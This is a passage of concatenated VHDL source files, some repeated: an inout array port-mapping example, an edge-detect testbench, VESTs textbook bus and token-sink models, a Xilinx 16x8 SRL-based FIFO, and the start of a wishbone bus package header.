io_2 : inout std_logic);
end entity a;
architecture rtl of a is
component b is
port (io_a : inout array_t);
end component b;
begin -- architecture rtl
b1 : b port map (
io_a(0) => io_v,
io_a(1)(0) => io_1,
io_a(1)(1) => io_2);
end architecture rtl;
|
library ieee;
use ieee.std_logic_1164.all;
package test is
type array_t is array (1 downto 0) of std_logic_vector(1 downto 0);
end package test;
use work.test.all;
library ieee;
use ieee.std_logic_1164.all;
entity b is
port (io_a : inout array_t);
end entity b;
architecture rtl of b is
begin -- architecture dummy
io_a <= ("HH", "LL");
end architecture rtl;
use work.test.all;
library ieee;
use ieee.std_logic_1164.all;
entity a is
port (io_v : inout std_logic_vector(1 downto 0);
io_1 : inout std_logic;
io_2 : inout std_logic);
end entity a;
architecture rtl of a is
component b is
port (io_a : inout array_t);
end component b;
begin -- architecture rtl
b1 : b port map (
io_a(0) => io_v,
io_a(1)(0) => io_1,
io_a(1)(1) => io_2);
end architecture rtl;
|
library ieee;
use ieee.std_logic_1164.all;
package test is
type array_t is array (1 downto 0) of std_logic_vector(1 downto 0);
end package test;
use work.test.all;
library ieee;
use ieee.std_logic_1164.all;
entity b is
port (io_a : inout array_t);
end entity b;
architecture rtl of b is
begin -- architecture dummy
io_a <= ("HH", "LL");
end architecture rtl;
use work.test.all;
library ieee;
use ieee.std_logic_1164.all;
entity a is
port (io_v : inout std_logic_vector(1 downto 0);
io_1 : inout std_logic;
io_2 : inout std_logic);
end entity a;
architecture rtl of a is
component b is
port (io_a : inout array_t);
end component b;
begin -- architecture rtl
b1 : b port map (
io_a(0) => io_v,
io_a(1)(0) => io_1,
io_a(1)(1) => io_2);
end architecture rtl;
|
-------------------------------------------------------------------------------
-- Title : Testbench for design "edge_detect"
-------------------------------------------------------------------------------
-- File : edge_detect_tb.vhd
-- Author : Lothar Miller
-- Standard : VHDL'93/02
-------------------------------------------------------------------------------
-- Description:
-------------------------------------------------------------------------------
library ieee;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;
use ieee.math_real.all;
use work.utils_pkg.all;
-------------------------------------------------------------------------------
entity edge_detect_tb is
end entity edge_detect_tb;
-------------------------------------------------------------------------------
architecture tb of edge_detect_tb is
--Inputs
signal async_sig : std_logic := '0';
--Outputs
signal rise : std_logic;
signal fall : std_logic;
-- clock
signal clk : std_logic := '1';
begin -- architecture tb
-- component instantiation
uut : edge_detect
port map (
async_sig => async_sig,
clk => clk,
rise => rise,
fall => fall);
-- clock generation
clk <= not clk after 5 ns;
-- Create an asynchronous, random signal
stim : process
variable seed1, seed2 : positive;
variable Rand : real;
variable IRand : integer;
begin
-- Zufallszahl ziwschen 0 und 1
uniform(seed1, seed2, rand);
-- daraus ein Integer zwischen 50 und 150
irand := integer((rand*100.0 - 0.5) + 50.0);
-- und dann diese Zeit abwarten
wait for irand * 1 ns;
async_sig <= not async_sig;
end process;
end architecture tb;
-------------------------------------------------------------------------------
|
-------------------------------------------------------------------------------
-- Title : Testbench for design "edge_detect"
-------------------------------------------------------------------------------
-- File : edge_detect_tb.vhd
-- Author : Lothar Miller
-- Standard : VHDL'93/02
-------------------------------------------------------------------------------
-- Description:
-------------------------------------------------------------------------------
library ieee;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;
use ieee.math_real.all;
use work.utils_pkg.all;
-------------------------------------------------------------------------------
entity edge_detect_tb is
end entity edge_detect_tb;
-------------------------------------------------------------------------------
architecture tb of edge_detect_tb is
--Inputs
signal async_sig : std_logic := '0';
--Outputs
signal rise : std_logic;
signal fall : std_logic;
-- clock
signal clk : std_logic := '1';
begin -- architecture tb
-- component instantiation
uut : edge_detect
port map (
async_sig => async_sig,
clk => clk,
rise => rise,
fall => fall);
-- clock generation
clk <= not clk after 5 ns;
-- Create an asynchronous, random signal
stim : process
variable seed1, seed2 : positive;
variable Rand : real;
variable IRand : integer;
begin
-- Zufallszahl ziwschen 0 und 1
uniform(seed1, seed2, rand);
-- daraus ein Integer zwischen 50 und 150
irand := integer((rand*100.0 - 0.5) + 50.0);
-- und dann diese Zeit abwarten
wait for irand * 1 ns;
async_sig <= not async_sig;
end process;
end architecture tb;
-------------------------------------------------------------------------------
|
-- Copyright (C) 2002 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
library ieee; use ieee.std_logic_1164.all;
entity bus_module is
port ( synch : inout std_ulogic; -- . . . );
-- not in book
other_port : in std_ulogic := 'U' );
-- end not in book
end entity bus_module;
--------------------------------------------------
-- not in book
library ieee; use ieee.std_logic_1164.all;
entity bus_based_system is
end entity bus_based_system;
-- end not in book
architecture top_level of bus_based_system is
signal synch_control : std_logic;
-- . . .
begin
synch_control_pull_up : synch_control <= 'H';
bus_module_1 : entity work.bus_module(behavioral)
port map ( synch => synch_control, -- . . . );
-- not in book
other_port => open );
-- end not in book
bus_module_2 : entity work.bus_module(behavioral)
port map ( synch => synch_control, -- . . . );
-- not in book
other_port => open );
-- end not in book
-- . . .
end architecture top_level;
architecture behavioral of bus_module is
begin
behavior : process is
-- . . .
-- not in book
constant Tdelay_synch : delay_length := 10 ns;
constant wait_delay : delay_length := 100 ns;
-- end not in book
begin
synch <= '0' after Tdelay_synch;
-- . . .
-- not in book
wait for wait_delay;
-- end not in book
-- ready to start operation
synch <= 'Z' after Tdelay_synch;
wait until synch = 'H';
-- proceed with operation
-- . . .
end process behavior;
end architecture behavioral;
|
-- Copyright (C) 2002 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
library ieee; use ieee.std_logic_1164.all;
entity bus_module is
port ( synch : inout std_ulogic; -- . . . );
-- not in book
other_port : in std_ulogic := 'U' );
-- end not in book
end entity bus_module;
--------------------------------------------------
-- not in book
library ieee; use ieee.std_logic_1164.all;
entity bus_based_system is
end entity bus_based_system;
-- end not in book
architecture top_level of bus_based_system is
signal synch_control : std_logic;
-- . . .
begin
synch_control_pull_up : synch_control <= 'H';
bus_module_1 : entity work.bus_module(behavioral)
port map ( synch => synch_control, -- . . . );
-- not in book
other_port => open );
-- end not in book
bus_module_2 : entity work.bus_module(behavioral)
port map ( synch => synch_control, -- . . . );
-- not in book
other_port => open );
-- end not in book
-- . . .
end architecture top_level;
architecture behavioral of bus_module is
begin
behavior : process is
-- . . .
-- not in book
constant Tdelay_synch : delay_length := 10 ns;
constant wait_delay : delay_length := 100 ns;
-- end not in book
begin
synch <= '0' after Tdelay_synch;
-- . . .
-- not in book
wait for wait_delay;
-- end not in book
-- ready to start operation
synch <= 'Z' after Tdelay_synch;
wait until synch = 'H';
-- proceed with operation
-- . . .
end process behavior;
end architecture behavioral;
|
-- Copyright (C) 2002 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
library ieee; use ieee.std_logic_1164.all;
entity bus_module is
port ( synch : inout std_ulogic; -- . . . );
-- not in book
other_port : in std_ulogic := 'U' );
-- end not in book
end entity bus_module;
--------------------------------------------------
-- not in book
library ieee; use ieee.std_logic_1164.all;
entity bus_based_system is
end entity bus_based_system;
-- end not in book
architecture top_level of bus_based_system is
signal synch_control : std_logic;
-- . . .
begin
synch_control_pull_up : synch_control <= 'H';
bus_module_1 : entity work.bus_module(behavioral)
port map ( synch => synch_control, -- . . . );
-- not in book
other_port => open );
-- end not in book
bus_module_2 : entity work.bus_module(behavioral)
port map ( synch => synch_control, -- . . . );
-- not in book
other_port => open );
-- end not in book
-- . . .
end architecture top_level;
architecture behavioral of bus_module is
begin
behavior : process is
-- . . .
-- not in book
constant Tdelay_synch : delay_length := 10 ns;
constant wait_delay : delay_length := 100 ns;
-- end not in book
begin
synch <= '0' after Tdelay_synch;
-- . . .
-- not in book
wait for wait_delay;
-- end not in book
-- ready to start operation
synch <= 'Z' after Tdelay_synch;
wait until synch = 'H';
-- proceed with operation
-- . . .
end process behavior;
end architecture behavioral;
|
-- Copyright (C) 1996 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: ch_19_sink-b.vhd,v 1.2 2001-10-26 16:29:36 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
library math;
architecture behavior of sink is
begin
token_consumer : process is
variable number_of_tokens_consumed : natural := 0;
variable life_time : real; -- in time_unit
variable sum_of_life_times : real := 0.0; -- in time_unit
variable sum_of_squares_of_life_times : real := 0.0; --in time_unit**2
use std.textio.all;
file info_file : text;
variable L : line;
use math.math_real.sqrt;
procedure write_summary is
variable mean_life_time : real
:= sum_of_life_times / real(number_of_tokens_consumed);
variable std_dev_of_life_times : real
:= sqrt ( ( sum_of_squares_of_life_times
- sum_of_life_times**2 / real(number_of_tokens_consumed) )
/ real( number_of_tokens_consumed - 1 ) );
begin
write(L, string'("Summary information for sink "));
write(L, name);
write(L, string'(" up to time "));
write(L, now, unit => time_unit);
writeline(info_file, L);
write(L, string'(" Number of tokens consumed = "));
write(L, natural(number_of_tokens_consumed));
writeline(info_file, L);
write(L, string'(" Mean life_time = "));
write(L, mean_life_time * time_unit, unit => time_unit);
writeline(info_file, L);
write(L, string'(" Standard deviation of life_times = "));
write(L, std_dev_of_life_times * time_unit, unit => time_unit);
writeline(info_file, L);
writeline(info_file, L);
end procedure write_summary;
procedure write_trace is
begin
write(L, string'("Sink "));
write(L, name);
write(L, string'(": at "));
write(L, now, unit => time_unit);
write(L, string'(" consumed "));
write(L, in_arc.token, time_unit);
writeline(info_file, L);
end procedure write_trace;
begin
file_open(info_file, info_file_name, write_mode);
loop
wait on info_detail'transaction, in_arc;
if info_detail'active and info_detail = summary then
write_summary;
end if;
if in_arc'event then
number_of_tokens_consumed := number_of_tokens_consumed + 1;
life_time := real( (now - in_arc.token.creation_time) / time_unit );
sum_of_life_times := sum_of_life_times + life_time;
sum_of_squares_of_life_times := sum_of_squares_of_life_times + life_time ** 2;
if info_detail = trace then
write_trace;
end if;
end if;
end loop;
end process token_consumer;
end architecture behavior;
|
-- Copyright (C) 1996 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: ch_19_sink-b.vhd,v 1.2 2001-10-26 16:29:36 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
library math;
architecture behavior of sink is
begin
token_consumer : process is
variable number_of_tokens_consumed : natural := 0;
variable life_time : real; -- in time_unit
variable sum_of_life_times : real := 0.0; -- in time_unit
variable sum_of_squares_of_life_times : real := 0.0; --in time_unit**2
use std.textio.all;
file info_file : text;
variable L : line;
use math.math_real.sqrt;
procedure write_summary is
variable mean_life_time : real
:= sum_of_life_times / real(number_of_tokens_consumed);
variable std_dev_of_life_times : real
:= sqrt ( ( sum_of_squares_of_life_times
- sum_of_life_times**2 / real(number_of_tokens_consumed) )
/ real( number_of_tokens_consumed - 1 ) );
begin
write(L, string'("Summary information for sink "));
write(L, name);
write(L, string'(" up to time "));
write(L, now, unit => time_unit);
writeline(info_file, L);
write(L, string'(" Number of tokens consumed = "));
write(L, natural(number_of_tokens_consumed));
writeline(info_file, L);
write(L, string'(" Mean life_time = "));
write(L, mean_life_time * time_unit, unit => time_unit);
writeline(info_file, L);
write(L, string'(" Standard deviation of life_times = "));
write(L, std_dev_of_life_times * time_unit, unit => time_unit);
writeline(info_file, L);
writeline(info_file, L);
end procedure write_summary;
procedure write_trace is
begin
write(L, string'("Sink "));
write(L, name);
write(L, string'(": at "));
write(L, now, unit => time_unit);
write(L, string'(" consumed "));
write(L, in_arc.token, time_unit);
writeline(info_file, L);
end procedure write_trace;
begin
file_open(info_file, info_file_name, write_mode);
loop
wait on info_detail'transaction, in_arc;
if info_detail'active and info_detail = summary then
write_summary;
end if;
if in_arc'event then
number_of_tokens_consumed := number_of_tokens_consumed + 1;
life_time := real( (now - in_arc.token.creation_time) / time_unit );
sum_of_life_times := sum_of_life_times + life_time;
sum_of_squares_of_life_times := sum_of_squares_of_life_times + life_time ** 2;
if info_detail = trace then
write_trace;
end if;
end if;
end loop;
end process token_consumer;
end architecture behavior;
|
-- Copyright (C) 1996 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: ch_19_sink-b.vhd,v 1.2 2001-10-26 16:29:36 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
library math;
architecture behavior of sink is
begin
token_consumer : process is
variable number_of_tokens_consumed : natural := 0;
variable life_time : real; -- in time_unit
variable sum_of_life_times : real := 0.0; -- in time_unit
variable sum_of_squares_of_life_times : real := 0.0; --in time_unit**2
use std.textio.all;
file info_file : text;
variable L : line;
use math.math_real.sqrt;
procedure write_summary is
variable mean_life_time : real
:= sum_of_life_times / real(number_of_tokens_consumed);
variable std_dev_of_life_times : real
:= sqrt ( ( sum_of_squares_of_life_times
- sum_of_life_times**2 / real(number_of_tokens_consumed) )
/ real( number_of_tokens_consumed - 1 ) );
begin
write(L, string'("Summary information for sink "));
write(L, name);
write(L, string'(" up to time "));
write(L, now, unit => time_unit);
writeline(info_file, L);
write(L, string'(" Number of tokens consumed = "));
write(L, natural(number_of_tokens_consumed));
writeline(info_file, L);
write(L, string'(" Mean life_time = "));
write(L, mean_life_time * time_unit, unit => time_unit);
writeline(info_file, L);
write(L, string'(" Standard deviation of life_times = "));
write(L, std_dev_of_life_times * time_unit, unit => time_unit);
writeline(info_file, L);
writeline(info_file, L);
end procedure write_summary;
procedure write_trace is
begin
write(L, string'("Sink "));
write(L, name);
write(L, string'(": at "));
write(L, now, unit => time_unit);
write(L, string'(" consumed "));
write(L, in_arc.token, time_unit);
writeline(info_file, L);
end procedure write_trace;
begin
file_open(info_file, info_file_name, write_mode);
loop
wait on info_detail'transaction, in_arc;
if info_detail'active and info_detail = summary then
write_summary;
end if;
if in_arc'event then
number_of_tokens_consumed := number_of_tokens_consumed + 1;
life_time := real( (now - in_arc.token.creation_time) / time_unit );
sum_of_life_times := sum_of_life_times + life_time;
sum_of_squares_of_life_times := sum_of_squares_of_life_times + life_time ** 2;
if info_detail = trace then
write_trace;
end if;
end if;
end loop;
end process token_consumer;
end architecture behavior;
|
-- 'Bucket Brigade' FIFO
-- 16 deep
-- 8-bit data
--
-- Version : 1.10
-- Version Date : 3rd December 2003
-- Reason : '--translate' directives changed to '--synthesis translate' directives
--
-- Version : 1.00
-- Version Date : 14th October 2002
--
-- Start of design entry : 14th October 2002
--
-- Ken Chapman
-- Xilinx Ltd
-- Benchmark House
-- 203 Brooklands Road
-- Weybridge
-- Surrey KT13 ORH
-- United Kingdom
--
-- [email protected]
--
------------------------------------------------------------------------------------
--
-- NOTICE:
--
-- Copyright Xilinx, Inc. 2002. This code may be contain portions patented by other
-- third parties. By providing this core as one possible implementation of a standard,
-- Xilinx is making no representation that the provided implementation of this standard
-- is free from any claims of infringement by any third party. Xilinx expressly
-- disclaims any warranty with respect to the adequacy of the implementation, including
-- but not limited to any warranty or representation that the implementation is free
-- from claims of any third party. Futhermore, Xilinx is providing this core as a
-- courtesy to you and suggests that you contact all third parties to obtain the
-- necessary rights to use this implementation.
--
------------------------------------------------------------------------------------
--
-- Library declarations
--
-- The Unisim Library is used to define Xilinx primitives. It is also used during
-- simulation. The source can be viewed at %XILINX%\vhdl\src\unisims\unisim_VCOMP.vhd
--
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
use IEEE.STD_LOGIC_ARITH.ALL;
use IEEE.STD_LOGIC_UNSIGNED.ALL;
library unisim;
use unisim.vcomponents.all;
--
------------------------------------------------------------------------------------
--
-- Main Entity for BBFIFO_16x8
--
entity bbfifo_16x8 is
Port ( data_in : in std_logic_vector(7 downto 0);
data_out : out std_logic_vector(7 downto 0);
reset : in std_logic;
write : in std_logic;
read : in std_logic;
full : out std_logic;
half_full : out std_logic;
data_present : out std_logic;
clk : in std_logic);
end bbfifo_16x8;
--
------------------------------------------------------------------------------------
--
-- Start of Main Architecture for BBFIFO_16x8
--
architecture low_level_definition of bbfifo_16x8 is
--
------------------------------------------------------------------------------------
--
------------------------------------------------------------------------------------
--
-- Signals used in BBFIFO_16x8
--
------------------------------------------------------------------------------------
--
signal pointer : std_logic_vector(3 downto 0);
signal next_count : std_logic_vector(3 downto 0);
signal half_count : std_logic_vector(3 downto 0);
signal count_carry : std_logic_vector(2 downto 0);
signal pointer_zero : std_logic;
signal pointer_full : std_logic;
signal decode_data_present : std_logic;
signal data_present_int : std_logic;
signal valid_write : std_logic;
--
--
------------------------------------------------------------------------------------
--
-- Attributes to define LUT contents during implementation
-- The information is repeated in the generic map for functional simulation--
--
------------------------------------------------------------------------------------
--
attribute INIT : string;
attribute INIT of zero_lut : label is "0001";
attribute INIT of full_lut : label is "8000";
attribute INIT of dp_lut : label is "BFA0";
attribute INIT of valid_lut : label is "C4";
--
------------------------------------------------------------------------------------
--
-- Start of BBFIFO_16x8 circuit description
--
------------------------------------------------------------------------------------
--
begin
-- SRL16E data storage
data_width_loop: for i in 0 to 7 generate
--
attribute INIT : string;
attribute INIT of data_srl : label is "0000";
--
begin
data_srl: SRL16E
--synthesis translate_off
generic map (INIT => X"0000")
--synthesis translate_on
port map( D => data_in(i),
CE => valid_write,
CLK => clk,
A0 => pointer(0),
A1 => pointer(1),
A2 => pointer(2),
A3 => pointer(3),
Q => data_out(i) );
end generate data_width_loop;
-- 4-bit counter to act as data pointer
-- Counter is clock enabled by 'data_present'
-- Counter will be reset when 'reset' is active
-- Counter will increment when 'valid_write' is active
count_width_loop: for i in 0 to 3 generate
--
attribute INIT : string;
attribute INIT of count_lut : label is "6606";
--
begin
register_bit: FDRE
port map ( D => next_count(i),
Q => pointer(i),
CE => data_present_int,
R => reset,
C => clk);
count_lut: LUT4
--synthesis translate_off
generic map (INIT => X"6606")
--synthesis translate_on
port map( I0 => pointer(i),
I1 => read,
I2 => pointer_zero,
I3 => write,
O => half_count(i));
lsb_count: if i=0 generate
begin
count_muxcy: MUXCY
port map( DI => pointer(i),
CI => valid_write,
S => half_count(i),
O => count_carry(i));
count_xor: XORCY
port map( LI => half_count(i),
CI => valid_write,
O => next_count(i));
end generate lsb_count;
mid_count: if i>0 and i<3 generate
begin
count_muxcy: MUXCY
port map( DI => pointer(i),
CI => count_carry(i-1),
S => half_count(i),
O => count_carry(i));
count_xor: XORCY
port map( LI => half_count(i),
CI => count_carry(i-1),
O => next_count(i));
end generate mid_count;
upper_count: if i=3 generate
begin
count_xor: XORCY
port map( LI => half_count(i),
CI => count_carry(i-1),
O => next_count(i));
end generate upper_count;
end generate count_width_loop;
-- Detect when pointer is zero and maximum
zero_lut: LUT4
--synthesis translate_off
generic map (INIT => X"0001")
--synthesis translate_on
port map( I0 => pointer(0),
I1 => pointer(1),
I2 => pointer(2),
I3 => pointer(3),
O => pointer_zero );
full_lut: LUT4
--synthesis translate_off
generic map (INIT => X"8000")
--synthesis translate_on
port map( I0 => pointer(0),
I1 => pointer(1),
I2 => pointer(2),
I3 => pointer(3),
O => pointer_full );
-- Data Present status
dp_lut: LUT4
--synthesis translate_off
generic map (INIT => X"BFA0")
--synthesis translate_on
port map( I0 => write,
I1 => read,
I2 => pointer_zero,
I3 => data_present_int,
O => decode_data_present );
dp_flop: FDR
port map ( D => decode_data_present,
Q => data_present_int,
R => reset,
C => clk);
-- Valid write signal
valid_lut: LUT3
--synthesis translate_off
generic map (INIT => X"C4")
--synthesis translate_on
port map( I0 => pointer_full,
I1 => write,
I2 => read,
O => valid_write );
-- assign internal signals to outputs
full <= pointer_full;
half_full <= pointer(3);
data_present <= data_present_int;
end low_level_definition;
------------------------------------------------------------------------------------
--
-- END OF FILE BBFIFO_16x8.VHD
--
------------------------------------------------------------------------------------
|
-- 'Bucket Brigade' FIFO
-- 16 deep
-- 8-bit data
--
-- Version : 1.10
-- Version Date : 3rd December 2003
-- Reason : '--translate' directives changed to '--synthesis translate' directives
--
-- Version : 1.00
-- Version Date : 14th October 2002
--
-- Start of design entry : 14th October 2002
--
-- Ken Chapman
-- Xilinx Ltd
-- Benchmark House
-- 203 Brooklands Road
-- Weybridge
-- Surrey KT13 ORH
-- United Kingdom
--
-- [email protected]
--
------------------------------------------------------------------------------------
--
-- NOTICE:
--
-- Copyright Xilinx, Inc. 2002. This code may be contain portions patented by other
-- third parties. By providing this core as one possible implementation of a standard,
-- Xilinx is making no representation that the provided implementation of this standard
-- is free from any claims of infringement by any third party. Xilinx expressly
-- disclaims any warranty with respect to the adequacy of the implementation, including
-- but not limited to any warranty or representation that the implementation is free
-- from claims of any third party. Futhermore, Xilinx is providing this core as a
-- courtesy to you and suggests that you contact all third parties to obtain the
-- necessary rights to use this implementation.
--
------------------------------------------------------------------------------------
--
-- Library declarations
--
-- The Unisim Library is used to define Xilinx primitives. It is also used during
-- simulation. The source can be viewed at %XILINX%\vhdl\src\unisims\unisim_VCOMP.vhd
--
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
use IEEE.STD_LOGIC_ARITH.ALL;
use IEEE.STD_LOGIC_UNSIGNED.ALL;
library unisim;
use unisim.vcomponents.all;
--
------------------------------------------------------------------------------------
--
-- Main Entity for BBFIFO_16x8
--
entity bbfifo_16x8 is
Port ( data_in : in std_logic_vector(7 downto 0);
data_out : out std_logic_vector(7 downto 0);
reset : in std_logic;
write : in std_logic;
read : in std_logic;
full : out std_logic;
half_full : out std_logic;
data_present : out std_logic;
clk : in std_logic);
end bbfifo_16x8;
--
------------------------------------------------------------------------------------
--
-- Start of Main Architecture for BBFIFO_16x8
--
architecture low_level_definition of bbfifo_16x8 is
--
------------------------------------------------------------------------------------
--
------------------------------------------------------------------------------------
--
-- Signals used in BBFIFO_16x8
--
------------------------------------------------------------------------------------
--
signal pointer : std_logic_vector(3 downto 0);
signal next_count : std_logic_vector(3 downto 0);
signal half_count : std_logic_vector(3 downto 0);
signal count_carry : std_logic_vector(2 downto 0);
signal pointer_zero : std_logic;
signal pointer_full : std_logic;
signal decode_data_present : std_logic;
signal data_present_int : std_logic;
signal valid_write : std_logic;
--
--
------------------------------------------------------------------------------------
--
-- Attributes to define LUT contents during implementation
-- The information is repeated in the generic map for functional simulation--
--
------------------------------------------------------------------------------------
--
attribute INIT : string;
attribute INIT of zero_lut : label is "0001";
attribute INIT of full_lut : label is "8000";
attribute INIT of dp_lut : label is "BFA0";
attribute INIT of valid_lut : label is "C4";
--
------------------------------------------------------------------------------------
--
-- Start of BBFIFO_16x8 circuit description
--
------------------------------------------------------------------------------------
--
begin
-- SRL16E data storage
data_width_loop: for i in 0 to 7 generate
--
attribute INIT : string;
attribute INIT of data_srl : label is "0000";
--
begin
data_srl: SRL16E
--synthesis translate_off
generic map (INIT => X"0000")
--synthesis translate_on
port map( D => data_in(i),
CE => valid_write,
CLK => clk,
A0 => pointer(0),
A1 => pointer(1),
A2 => pointer(2),
A3 => pointer(3),
Q => data_out(i) );
end generate data_width_loop;
-- 4-bit counter to act as data pointer
-- Counter is clock enabled by 'data_present'
-- Counter will be reset when 'reset' is active
-- Counter will increment when 'valid_write' is active
count_width_loop: for i in 0 to 3 generate
--
attribute INIT : string;
attribute INIT of count_lut : label is "6606";
--
begin
register_bit: FDRE
port map ( D => next_count(i),
Q => pointer(i),
CE => data_present_int,
R => reset,
C => clk);
count_lut: LUT4
--synthesis translate_off
generic map (INIT => X"6606")
--synthesis translate_on
port map( I0 => pointer(i),
I1 => read,
I2 => pointer_zero,
I3 => write,
O => half_count(i));
lsb_count: if i=0 generate
begin
count_muxcy: MUXCY
port map( DI => pointer(i),
CI => valid_write,
S => half_count(i),
O => count_carry(i));
count_xor: XORCY
port map( LI => half_count(i),
CI => valid_write,
O => next_count(i));
end generate lsb_count;
mid_count: if i>0 and i<3 generate
begin
count_muxcy: MUXCY
port map( DI => pointer(i),
CI => count_carry(i-1),
S => half_count(i),
O => count_carry(i));
count_xor: XORCY
port map( LI => half_count(i),
CI => count_carry(i-1),
O => next_count(i));
end generate mid_count;
upper_count: if i=3 generate
begin
count_xor: XORCY
port map( LI => half_count(i),
CI => count_carry(i-1),
O => next_count(i));
end generate upper_count;
end generate count_width_loop;
-- Detect when pointer is zero and maximum
zero_lut: LUT4
--synthesis translate_off
generic map (INIT => X"0001")
--synthesis translate_on
port map( I0 => pointer(0),
I1 => pointer(1),
I2 => pointer(2),
I3 => pointer(3),
O => pointer_zero );
full_lut: LUT4
--synthesis translate_off
generic map (INIT => X"8000")
--synthesis translate_on
port map( I0 => pointer(0),
I1 => pointer(1),
I2 => pointer(2),
I3 => pointer(3),
O => pointer_full );
-- Data Present status
dp_lut: LUT4
--synthesis translate_off
generic map (INIT => X"BFA0")
--synthesis translate_on
port map( I0 => write,
I1 => read,
I2 => pointer_zero,
I3 => data_present_int,
O => decode_data_present );
dp_flop: FDR
port map ( D => decode_data_present,
Q => data_present_int,
R => reset,
C => clk);
-- Valid write signal
valid_lut: LUT3
--synthesis translate_off
generic map (INIT => X"C4")
--synthesis translate_on
port map( I0 => pointer_full,
I1 => write,
I2 => read,
O => valid_write );
-- assign internal signals to outputs
full <= pointer_full;
half_full <= pointer(3);
data_present <= data_present_int;
end low_level_definition;
------------------------------------------------------------------------------------
--
-- END OF FILE BBFIFO_16x8.VHD
--
------------------------------------------------------------------------------------
|
---------------------------------------------------------------
-- Title : system unit package
-- Project : Embedded System Module
---------------------------------------------------------------
-- File : wb_pkg.vhd
-- Author : Michael Miehling
-- Email : [email protected]
-- Organization : MEN Mikroelektronik Nuernberg GmbH
-- Created : 17/02/04
---------------------------------------------------------------
-- Simulator : Modelsim PE 5.7g
-- Synthesis : Quartus II 3.0
---------------------------------------------------------------
-- Description :
--
-- Package for wishbone bus functions.
-- Consists of data mux for x chip selects.
-- Wishbone bus input and output type definition.
-- This package is used for wb_bus (busmaker).
--
-- Switch-fab naming convention is:
-- All signal names are based on the source of the signal
-- (wbo_slave = output singals of slave)
---------------------------------------------------------------
-- Hierarchy:
--
-- -
---------------------------------------------------------------
-- Copyright (c) 2016, MEN Mikro Elektronik GmbH
--
-- This program is free software: you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation, either version 3 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program. If not, see <http://www.gnu.org/licenses/>.
---------------------------------------------------------------
-- History
---------------------------------------------------------------
-- $Revision: 1.15 $
--
-- $Log: wb_pkg.vhd,v $
